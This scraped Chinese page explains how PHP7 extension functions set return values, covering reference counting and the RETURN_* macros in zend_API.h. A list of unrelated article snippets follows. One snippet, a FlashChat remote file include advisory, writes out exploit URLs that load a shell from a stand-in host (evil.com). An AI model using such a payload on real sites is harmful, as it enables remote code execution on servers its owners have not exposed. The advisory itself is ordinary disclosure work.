php7 返回值,7.6.4 函数返回值

### 7.6.4 函数返回值

调用内部函数时其返回值指针作为参数传入,这个参数为`zval *return_value`,如果函数有返回值直接设置此指针即可,需要特别注意的是设置返回值时需要增加其引用计数,举个例子来看:

```c

PHP_FUNCTION(my_func_1)

{

zval *arr;

if(zend_parse_parameters(ZEND_NUM_ARGS(), "a", &arr) == FAILURE){

RETURN_FALSE;

}

//增加引用计数

Z_ADDREF_P(arr);

//设置返回值为数组:

ZVAL_ARR(return_value, Z_ARR_P(arr));

}

```

此函数接收一个数组,然后直接返回该数组,相当于:

```php

function my_func_1($arr){

return $arr;

}

```

调用该函数:

```php

$a = array(); //$a -> zend_array(refcount:1)

$b = my_func_1($a); //传参后:参数arr -> zend_array(refcount:2)

//然后函数内部赋给了返回值:$b,$a,arr -> zend_array(refcount:3)

//函数return阶段释放了参数:$b,$a -> zend_array(refcount:2)

var_dump($b);

=============[output]===========

array(0) {

}

```

虽然可以直接设置return_value,但实际使用时并不建议这么做,因为PHP提供了很多专门用于设置返回值的宏,这些宏定义在`zend_API.h`中:

```c

//返回布尔型,b:IS_FALSE、IS_TRUE

#define RETURN_BOOL(b) { RETVAL_BOOL(b); return; }

//返回NULL

#define RETURN_NULL() { RETVAL_NULL(); return;}

//返回整形,l类型:zend_long

#define RETURN_LONG(l) { RETVAL_LONG(l); return; }

//返回浮点值,d类型:double

#define RETURN_DOUBLE(d) { RETVAL_DOUBLE(d); return; }

//返回字符串,可返回内部字符串,s类型为:zend_string *

#define RETURN_STR(s) { RETVAL_STR(s); return; }

//返回内部字符串,这种变量将不会被回收,s类型为:zend_string *

#define RETURN_INTERNED_STR(s) { RETVAL_INTERNED_STR(s); return; }

//返回普通字符串,非内部字符串,s类型为:zend_string *

#define RETURN_NEW_STR(s) { RETVAL_NEW_STR(s); return; }

//拷贝字符串用于返回,这个会自己加引用计数,s类型为:zend_string *

#define RETURN_STR_COPY(s) { RETVAL_STR_COPY(s); return; }

//返回char *类型的字符串,s类型为char *

#define RETURN_STRING(s) { RETVAL_STRING(s); return; }

//返回char *类型的字符串,s类型为char *,l为字符串长度,类型为size_t

#define RETURN_STRINGL(s, l) { RETVAL_STRINGL(s, l); return; }

//返回空字符串

#define RETURN_EMPTY_STRING() { RETVAL_EMPTY_STRING(); return; }

//返回资源,r类型:zend_resource *

#define RETURN_RES(r) { RETVAL_RES(r); return; }

//返回数组,r类型:zend_array *

#define RETURN_ARR(r) { RETVAL_ARR(r); return; }

//返回对象,r类型:zend_object *

#define RETURN_OBJ(r) { RETVAL_OBJ(r); return; }

//返回zval

#define RETURN_ZVAL(zv, copy, dtor) { RETVAL_ZVAL(zv, copy, dtor); return; }

//返回false

#define RETURN_FALSE { RETVAL_FALSE; return; }

//返回true

#define RETURN_TRUE { RETVAL_TRUE; return; }

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/486775.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C#本质论pdf

下载地址:网盘下载内容简介 《C#本质论》是一本清晰、简明的C#教程,涵盖了C#2.0。书中对C#语言的每个重要结构都用简短的示例代码进行说明,并且和其他语言进行了全方位比较。每章开头的“思维导图”指明了本章要讨论的主题以及每个主题…

微星主板黑苹果_在老机器上LGA775平台安装黑苹果MacOS系统 – 玄烨品果

这篇算不得上是教程,顶多是玄烨个人心得而已。因为在装黑苹果这个技术上,玄烨并不是高手,最多是个入门的菜鸟。DSDT注入、驱动修改,通通都不会。能不显卡驱动好,网卡工作正常、声音搞定就满意了。开始分享安装过程。相…

matlab实现脑电信号的相位同步分析,视听刺激脑电信号的相位同步分析

第29卷 第4期 2012年 8月              生物医学工程学杂志 Journal o…

毕马威发布《人工智能无处不在》研究报告:人工智能在五大行业的成就与挑战...

来源:AIII研究院毕马威近期发布了研究报告《人工智能无处不在》。该报告对751名在人工智能各行业应用领域具有一定了解的企业决策者进行调研并发布了“成绩单”,总结分析了人工智能在医疗保健、金融服务、交通运输、科技、零售业五大不同行业的应用表现与…

1660用哪个驱动稳定_PDF转word怎么转?哪个PDF转换器最好用?-PDF ——快科技(驱动之家旗下媒体)-...

PDF转word怎么转?平时在生活中,很多朋友都会使用到将PDF转换成Word文档,因为一般情况下PDF文件是不能直接编辑修改的。那么用什么方法才能将PDF文档转换成Word呢!其实学会下面这2个方法就可以将它完整地实现转换效果。方法一&…

php flash chat,FlashChat lt;= 4.5.7 (aedating4CMS.php) Remote File Include Vulnerability

NeXtMaN <mc.nadz [at] gmail.com>Here are 3 RFI vulnerabilities in Flashchat ive found:Code:http://site.com/[script_path]/inc/cmses/aedating4CMS.php?dir[inc]http://evil.com/shell.txt?http://site.com/[script_path]/inc/cmses/aedatingCMS2.php?dir[inc]…

OpenAI推出数学推理证明模型,推理结果首次被数学家接受

大数据文摘出品作者&#xff1a;牛婉杨今年6月&#xff0c;OpenAI发布一款强大的文本生成模型GPT-3&#xff0c;不少网友迅速上手用了起来&#xff0c;有人用它写食谱、写歌词&#xff0c;甚至有人用它写博客&#xff0c;愣是以假乱真登上了新闻平台技术板块热榜第一。前不久&a…

卡苹果6plus在线_@哈尔滨家长:学生卡初次申办,需要到线下网点办理!

去办理业务&#xff0c;就怕人多排队&#xff01;9月份开学后&#xff0c;不少孩子上下学要赶公交&#xff0c;对没有手机的孩子来说&#xff0c;公交IC卡成了出门必备“神器”。对家长来说&#xff0c;充值、缴费成了难题&#xff0c;缴多了怕卡丢&#xff0c;少了还要总去&am…

A1051. DNA序列

问题描述 人类基因组计划的第一阶段于2000年6月26日胜利结束&#xff0c;我国的科研工作者圆满地完成了其中的1%的测序工作。众所周知&#xff0c;对于任意两个人来说&#xff0c;他们的染色体上的DNA序列大部分是相同的&#xff08;否则就不是同一物种了&#xff09;&#xff…

dm_php库,dmandwp系统 PHP建站系统+wordpress建站和DM系统区块+安装教程

dmandwp 系统(又名 wordpress 建站和 DM 系统区块)是一款使用 DM 系统的区块功能&#xff0c;让 wordpress 建站更方便的 PHP 建站系统。DM 系统的优势就是区块功能。现在把 DM 的区块功能做为插件&#xff0c;用在 wordpress 系统上。分类和内容&#xff0c;菜单&#xff0c;路…

美国对六种新兴技术实施控制:EUV和5nm相关技术在列

来源&#xff1a;翻译自Global trade and sanctions law。2020年10月5日&#xff0c;美国商务部工业与安全局&#xff08;BIS&#xff09;发布了最终规则&#xff0c;对《关于常规武器和两用货物及技术出口管制的瓦森纳安排》2019年12月全体会议上达成的六项“新兴技术”实施新…

spoon无法初始化至少一个步骤_手机怎么设置无线路由器 手机设置无线路由器步骤【详解】...

随着智能手机、平板电脑等无线设备的流行&#xff0c;无线网络也已经逐渐普及。而无线路由器作为无线网络的载体&#xff0c;自然成为必不可少的设备。小编原以为无线路由器只能通过连接电脑才能进行设置&#xff0c;但事实上如今很多路由器都可以通过手机完成设置&#xff0c;…

centos安装php服务器,在CentOS上安装搭建PHP+Apache+Mysql的服务器环境方法

以下安装过程是基于centos下&#xff0c;使用yum安装搭建PHPApacheMysql的服务器环境一&#xff1a;安装MySQL1.安装yum install mysql mysql-server mysql-devel2.启动MySQL /etc/init.d/mysqld start3.设置MySQL初始密码(Mysql安装完成后默认为无密码&#xff0c;未设置密码之…

任正非最新讲话:华为专家队伍怎么建?

版权声明来源&#xff1a;心声社区&#xff0c;书享界作者&#xff1a;任正非书享界导语10月10日&#xff0c;任正非签发华为总裁办电子邮件&#xff0c;向华为全员公布今年7月15日、20日、21日任正非在专委会建设思路汇报、研发专家代表及专委会代表座谈会上的讲话。在这篇讲话…

Fast Paxos

自从Lamport在1998年发表Paxos算法后&#xff0c;对Paxos的各种改进工作就从未停止&#xff0c;其中动作最大的莫过于2005年发表的Fast Paxos。无论何种改进&#xff0c;其重点依然是在消息延迟与性能、吞吐量之间作出各种权衡。为了容易地从概念上区分二者&#xff0c;称前者C…

怎么把php的时区配置为本地,PHP本地时区设置

php.ini中&#xff1a;[Date]; Defines the default timezone used by the date functions;date.timezone php5中php.ini默认是GMT时间&#xff0c;北京是8时区,不建议在php.ini中修改时区设置可通过php脚本来设置&#xff0c;若您有自己完全管理权的服务器当然也可以在php.ini…

axios 注册拦截器 cdn引用_PicGo+jsDelivr+GitHub搭建免费cdn加速的图床

PicGojsDelivrGitHub搭建免费cdn加速图床。下面是我写的教程。https://www.sakura521.cn/2020/03/13/picgocdn.html​www.sakura521.cn前言开始使用GitHub&#xff0b;jsDelivr搭建的cdn加速的免费图床&#xff0c;但是发现每次上传图片&#xff0c;然后创建新的版本太麻烦了。…

案例167:基于微信小程序的校园失物招领小程序

文末获取源码 开发语言&#xff1a;Java 框架&#xff1a;SSM JDK版本&#xff1a;JDK1.8 数据库&#xff1a;mysql 5.7 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven3.5.4 小程序框架&#xff1a;uniapp 小程序开发软件&#xff1a;HBuilder X 小程序…

百度自动驾驶出租车服务在北京全面开放 可免费试乘

来源&#xff1a;手机中国【CNMO新闻】10月11日晚&#xff0c;百度官方正式宣布&#xff0c;即日起&#xff0c;百度自动驾驶出租车服务在北京全面开放&#xff0c;北京的朋友们可在北京经济技术开发区、海淀区、顺义区的数十个自动驾驶出租车站点&#xff0c;无需预约&#xf…

php with语法,Yii框架关联查询with用法分析

本文实例分析了Yii框架关联查询with用法。分享给大家供大家参考。具体方法如下&#xff1a;Yii框架关联查询与mysql中的关联查询会有什么区别呢?这里小编就与各位来一起来看看吧。Yii的关联查询确实是一个方便的东西&#xff0c;网上的资料也很多&#xff0c;但是大部分都是Ct…